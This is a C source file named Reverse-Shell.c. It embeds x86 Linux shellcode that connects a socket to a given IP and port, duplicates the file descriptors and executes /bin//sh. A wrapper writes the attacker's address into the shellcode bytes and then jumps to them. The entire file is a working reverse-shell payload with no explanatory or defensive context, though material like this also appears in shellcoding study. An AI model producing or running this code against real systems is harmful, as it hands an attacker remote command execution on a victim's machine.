Reverse-Shell.c

#include <stdio.h>
#include <string.h>
#include <netdb.h>
 
unsigned char shellcode[] = \
"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\x31\xc0\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf0\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80";
 
main(int argc, char *argv[])
{
  if (argc < 3) {
    printf("No IP or port provided, 127.1.1.1:4444 (0x7f010101:0x115c) will be used\n");
  } 
  else
  {
        struct sockaddr_in ipaddr;
        inet_aton(argv[1], &ipaddr.sin_addr.s_addr);
 
        int port = atoi(argv[2]);
        printf("Connecting to %s (0x%x):%d (0x%x)\n", argv[1], ipaddr.sin_addr.s_addr, port, port);
 
        unsigned int p1 = (port >> 8) & 0xff;
        unsigned int p2 = port & 0xff;

        shellcode[32] = (unsigned char){p1};
        shellcode[33] = (unsigned char){p2};
 
        int i, a;
        for (i = 26, a = 0; i <= 29; i++, a+=8) 
        {
                shellcode[i] = (ipaddr.sin_addr.s_addr >> a) & 0xff ; 
                printf("Byte %d: %.02x\n", i, shellcode[i]);
        }
  }
 
  int (*ret)() = (int(*)())shellcode;
 
  ret(); 
 
}